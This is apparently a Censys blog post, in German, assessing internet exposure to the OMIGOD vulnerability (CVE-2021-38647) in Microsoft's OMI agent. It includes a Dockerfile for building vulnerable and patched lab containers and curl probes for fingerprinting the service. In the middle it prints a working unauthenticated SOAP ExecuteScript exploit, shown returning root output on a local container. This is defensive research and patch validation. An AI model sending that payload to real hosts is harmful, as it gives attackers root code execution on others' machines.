Zum Inhalt springen
Nehmen Sie am 10. September 2024 an Censys teil und besuchen Sie unseren Bedrohungsabwehr Workshop in San Francisco, CA | Jetzt anmelden
Blogs

Verstehen der Auswirkungen von OMIGOD (CVE-2021-38647)

Übersicht

Das Cloud-Sicherheitsunternehmen wiz.io hat kürzlich eine Reihe von Sicherheitslücken im Zusammenhang mit einer Komponente bekannt gegeben, die automatisch auf vielen virtuellen Azure-Linux-Maschinen installiert wird: Der Microsoft Open Management Infrastructure (OMI) Agent. Eine dieser Schwachstellen ist mit einem CVSS-Wert von 9,6 als kritisch einzustufen. Die Ursache der Sicherheitsanfälligkeit ist eine fehlende Überprüfung der Autorisierung vor der Ausführung eines angeforderten Fernverwaltungsbefehls. Der Wiz-Blogbeitrag zu dieser Schw achstelle enthält fantastische Details zu den Ausnutzungspfaden und eine insgesamt gründliche Analyse. Der Zweck dieses Agenten besteht darin, die Fernverwaltung von Linux-basierten Rechnern mit WinRM zu ermöglichen, einer ursprünglich in Microsoft Windows integrierten Funktion.

Es gibt bereits Anzeichen dafür, dass das Internet massenhaft nach diesem Problem durchsucht wird, so dass es für Unternehmen wichtig ist, Patches zu installieren.

Censys eine Folgenabschätzung unter Verwendung unseres Universal Internet Dataset durchgeführt. Hier sind unsere wichtigsten Ergebnisse:

  • Es gibt 56 101 bekannte exponierte Dienste weltweit, die wahrscheinlich für dieses Problem anfällig sind, darunter eine große Gesundheitsorganisation und zwei große Unterhaltungsunternehmen. Der kleine Fußabdruck kann mit Nuancen in der Art und Weise zusammenhängen, wie der OMI-Dienst reagiert, und dass die Freigabe von OMI für das Internet wahrscheinlich absichtliche Anstrengungen erfordert.
  • Netzwerkscanner übersehen den OMI-Dienst, es sei denn, sie melden offene Sockets, auch wenn der Socket keine Informationen zurückgibt, oder sie zwingen den Dienst, mit einem Content-Type-Header zu antworten.
  • OMI scheint auch außerhalb von Azure eingesetzt zu werden.
  • Censys hat sich an drei Organisationen gewandt, um sie über die Gefährdung zu informieren.
  • Censys hat ein Dockerfile veröffentlicht, das von der Sicherheitsforschungsgemeinschaft zum Testen von Schwachstellen und zur Patch-Validierung verwendet werden kann.

Update 2021-09-17: 101 Hosts sind mit dem Internet verbunden

Mithilfe eines speziellen Payloads, der die Versionen des OMI-Dienstes abruft, führte Censys eine anschließende Suche nach exponierten OMI-Hosts durch. Wir konnten 101 Hosts finden, zuvor waren es 56 mit einem Scan, der nur den Content-Type-Header enthielt:

Identifizierung betroffener Hosts

Censys scannt das Internet regelmäßig in unterschiedlichen Intervallen mit einer größeren Intensität in bekannten IP-Adressbereichen von Cloud-Netzwerken, da diese wahrscheinlich häufiger den Besitzer wechseln. Angesichts unseres einzigartigen Internet-Datensatzes und der jahrelangen Erfahrung, dass die meisten Unternehmen bei der Konfiguration von Cloud-Diensten Fehler machen, erwarteten wir, dass Tausende von Hosts aufgedeckt werden würden. Eine erste Suche ergab 2,3 Millionen Hosts, darunter die Top 10 nach autonomem System (AS):

Hinweis: Sie können diesen Bericht selbst ausführen: (services.port: 5985 oder services.port: 5986 oder services.port: 1270)

Natürlich gibt es bei genauerer Betrachtung viele Dienste an diesen Ports, die NICHT OMI sind. Erstens läuft das klassische/Windows WinRM auch auf 5985 und 5986. Diese Dienste antworten normalerweise mit einem Microsoft-HTTPAPI-Server-Header, so dass sie leicht herausgefiltert werden können. Darüber hinaus gibt es eine Vielzahl von Diensten, die nicht OMI sind, weil Webdienste in der Regel auf höhere Ports umgeleitet werden, um eine Erkennung zu vermeiden, obwohl dies eine schlechte Form der Sicherheit ist. Angesichts dieser Probleme erfordert die Identifizierung von OMI-Hosts ein tieferes Verständnis der Funktionsweise von OMI. Mit anfänglicher Hilfe und Hinweisen von @wvu von Rapid7 hatCensys eine Dockerdatei erstellt, die eine OMI-Umgebung direkt aus den auf der OMI-GitHub-Releases-Seite veröffentlichten Binärdateien erzeugt, sowie SCXCore zur Ausführung.

FROM ubuntu
LABEL org.opencontainers.image.version="1.0.0"
LABEL org.opencontainers.image.vendor="Censys"
LABEL org.opencontainers.image.url="https://censys.io/blog"
LABEL org.opencontainers.image.title="Censys Microsoft OMI Container Environment"
LABEL org.opencontainers.image.description="Creates an environment which exposes a plaintext OMI service on port 5985"

ARG OMI_VERSION=1.6.8-0
ARG SCX_VERSION=1.6.6-0
ARG SCX_TARGET=universal

RUN apt-get update && apt-get install -y \
    wget \
&& rm -rf /var/lib/apt/lists/*

RUN wget https://github.com/microsoft/omi/releases/download/v$OMI_VERSION/omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
    && dpkg -i omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
    && rm omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
    && sed -i "s|httpport=0|httpport=5985|g" /etc/opt/omi/conf/omiserver.conf

RUN wget https://github.com/microsoft/SCXcore/releases/download/$SCX_VERSION/scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
    && dpkg -i scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
    && rm scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb

RUN /etc/init.d/omid stop

EXPOSE 5895
ENTRYPOINT /etc/init.d/omid restart; tail -f /var/opt/omi/log/omiserver.log 

Auf dieser Grundlage können wir eine anfällige OMI-Umgebung aufbauen:

docker build -t "censys/omigod" .

Dann können wir die Umgebung ausführen:

docker run --rm -d -p 5985:5985 censys/omigod

Wir haben nun einen laufenden Docker-Container mit dem OMI-Dienst, der lokal an Port 5985 gebunden ist (Sie können die Portnummer links neben dem Doppelpunkt ändern, wenn Sie einen anderen Port verwenden möchten). Der nächste Schritt ist so einfach wie das Spielen mit dem Server. Versuchen wir eine einfache GET / Anfrage, die von den meisten Scannern weiträumig über das Internet zur Bestandsaufnahme gesendet wird:

curl localhost:5985 -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0

Interessanterweise wird die Verbindung sofort wieder geschlossen. Könnte dies der Grund dafür sein, dass die meisten Scan-Engines wie Censys, Shodan usw. keine Ergebnisse anzeigen? Ein Blick in den Code (schließlich ist er quelloffen) könnte uns mehr Hinweise geben, aber es stellt sich heraus, dass der Server buchstäblich auf jede Anfrage antwortet, die einen Content-Type-Header enthält, also setzen wir einen:

curl localhost:5985 -v -H 'Content-Type: lol'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: lol
>
< HTTP/1.1 400 Bad Request
< Content-Length: 0
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
* Closing connection 0

Viel besser! Jetzt bekommen wir eine echte Antwort zurück. In diesem Fall gibt der Server an, dass wir soap+xml als Inhaltstyp verwenden sollen. Versuchen wir also, dies einzustellen und eine schlechte Soap-Nachricht zu übermitteln, um zu sehen, was wir erhalten:

curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1
>
* upload completely sent off: 1 out of 1 bytes
< HTTP/1.1 500 Internal Server Error
< Content-Length: 1360
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wsman/1/wsman/fault</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-000000020000</wsa:MessageID></SOAP-ENV:Header><SOAP-ENV:Body><SOAP-ENV:Fault><SOAP-ENV:Code><SOAP-ENV:Value>SOAP-ENV:Receiver</SOAP-ENV:Value><SOAP-ENV:Subcode><SOAP-ENV:Value>wsman:InternalError</SOAP-ENV:Value></SOAP-ENV:Subcode></SOAP-ENV:Code><SOAP-ENV:Reason><SOAP-ENV:Text xml:lang="en-US">Failed to parse XML. An XML element was expected and not found.</SOAP-ENV:Text></SOAP-ENV:Reason></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0

Fantastisch. Wir können tatsächlich den Teil des Codes aufrufen, der versucht, eine übermittelte SOAP-Nachricht zu lesen (er meldet uns einen Fehler beim Versuch, unsere kaputte Nutzlast zu parsen), was bedeutet, dass die Authentifizierung umgangen worden ist. Schließlich können wir einen Exploit ausprobieren, der ebenfalls von @wvu betreut wird (Achtung, dieser läuft `id` auf dem Host, erfasst in der Datei `aWQ=Base64-kodierte Ausführungszeichenfolge unten):

curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"><s:Header><a:To>HTTP://127.0.0.1:5985/wsman/</a:To><w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action><w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize><a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID><w:OperationTimeout>PT1M30S</w:OperationTimeout><w:Locale xml:lang="en-us" s:mustUnderstand="false"/><p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/><w:OptionSet s:mustUnderstand="true"/><w:SelectorSet><w:Selector Name="__cimnamespace">root/scx</w:Selector></w:SelectorSet></s:Header><s:Body><p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:Script>aWQ=</p:Script><p:Arguments/><p:timeout>0</p:timeout><p:b64encoded>true</p:b64encoded></p:ExecuteScript_INPUT></s:Body></s:Envelope>'

Hier ist das ausgeführte Ergebnis:

*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1506
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 1409
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-0000000B0000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>uid=0(root) gid=0(root) groups=0(root)
</p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0

Wie Sie oben sehen können, erfolgt die Ausführung als root ("uid=0(root) gid=0(root) groups=0(root)"), was die Schwachstelle bestätigt.

Nachdem wir nun sichergestellt haben, dass wir eine anfällige Ausführungsumgebung haben, wie sieht es mit einer nicht anfälligen Umgebung aus? Auch das können wir tun, indem wir einfach die aktualisierte Versionsnummer als Argument für die Erstellung des Docker-Containers und einen neuen Containernamen zur Unterscheidung angeben:

docker build --build-arg OMI_VERSION=1.6.8-1 -t "censys/omigod-patched" .

Dann führen Sie es mit aus:

docker run --rm -d -p 6985:5985 censys/omigod-patched

Mit einem funktionierenden gepatchten Container können wir die gleichen cURL-Befehle wie oben ausprobieren und die Antworten beobachten. Wie sich herausstellt, antwortet die gepatchte Version überhaupt nicht, es sei denn, ein Authorization-Header ist gesetzt, und lässt den Socket für 60 Sekunden hängen:

curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0

Sobald wir den Autorisierungs-Header gesetzt haben, können wir die Antwort des Servers sehen:

curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml' -H 'Authorization: Basic xxx='
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Authorization: Basic xxx=
>
< HTTP/1.1 401 Unauthorized
< Content-Length: 0
< WWW-Authenticate: Basic realm="WSMAN"
< WWW-Authenticate: Negotiate
< WWW-Authenticate: Kerberos
<
* Connection #0 to host localhost left intact
* Closing connection 0

Bis jetzt haben wir also eine Reihe von wichtigen Fakten über diesen Dienst herausgefunden:

  • Eine verwundbare Version des Microsoft OMI-Dienstes antwortet nicht, wenn kein Content-Type-Header gesetzt ist.
  • Wenn der Content-Type-Header auf eine Anfrage an einen verwundbaren OMI-Dienst gesetzt wird, antwortet dieser mit 400 / Bad Request, wenn der Content-Type nicht "application/soap+xml" ist.
  • Eine gepatchte Version des Microsoft OMI-Dienstes bleibt hängen, wenn der Authorization-Header nicht gesetzt ist.
  • Es besteht keine Notwendigkeit, den URI-Unterpfad von /wsman anzugeben, da OMI jedes SOAP, das ihm zugeworfen wird, problemlos interpretiert.
  • Microsoft-basierte OMI-Bereitstellungen scheinen einen gemeinsamen Namen für das cloudapp.net-Zertifikat zu haben, aber das ist nicht garantiert.
  • Die TLS-Version des Dienstes verhält sich genauso wie die Klartextversion.

Mit diesen Informationen können wir gezieltere Scans erstellen, um die Auswirkungen zu verstehen, indem wir einfach unsere normalen Scans durchführen und den Content-Type-Header während der HTTP-Anfrage setzen. Censys führte diesen Scan aus zwei Perspektiven des Internets durch, über die Netzbetreiber Tata und NTT. Insgesamt haben wir nur 56 Hosts identifiziert, was viel weniger ist, als wir ursprünglich angenommen hatten. Ein Großteil der Hosts befand sich in Azure. Aufgrund der geringen Stichprobengröße und der gezielten Art dieser Hosts wird Censys keine Datensätze zum Schutz dieser Organisationen veröffentlichen (die wahrscheinlich bereits bösartige Pakete erhalten).

Schlussfolgerung

CVE-2021-38647 ist eindeutig ein kritisches Problem, das sofort gepatcht werden sollte. Glücklicherweise scheint eine massive externe Exposition, wie sie in der Vergangenheit bei anderen Hosts (z. B. Microsoft Exchange) beobachtet wurde, in diesem Fall nicht vorzuliegen. Azure-Kunden und OMI-Benutzer außerhalb von Azure sollten jedoch trotzdem sofort einen Patch einspielen, da diese Probleme leicht eine Kompromittierung mit den höchstmöglichen Privilegien für jeden Host ermöglichen, auf dem OMI läuft.

Weitere Informationen darüber, wie Censys Daten verwendet werden, um Branchen über kritische Risiken und Schwachstellen zu informieren, finden Sie in unserem Blog. Wenn Sie eine Demo unserer Attack Surface Management-Plattform anfordern oder andere Fragen haben, kontaktieren Sie uns!

Lösungen für das Management von Angriffsflächen
Mehr erfahren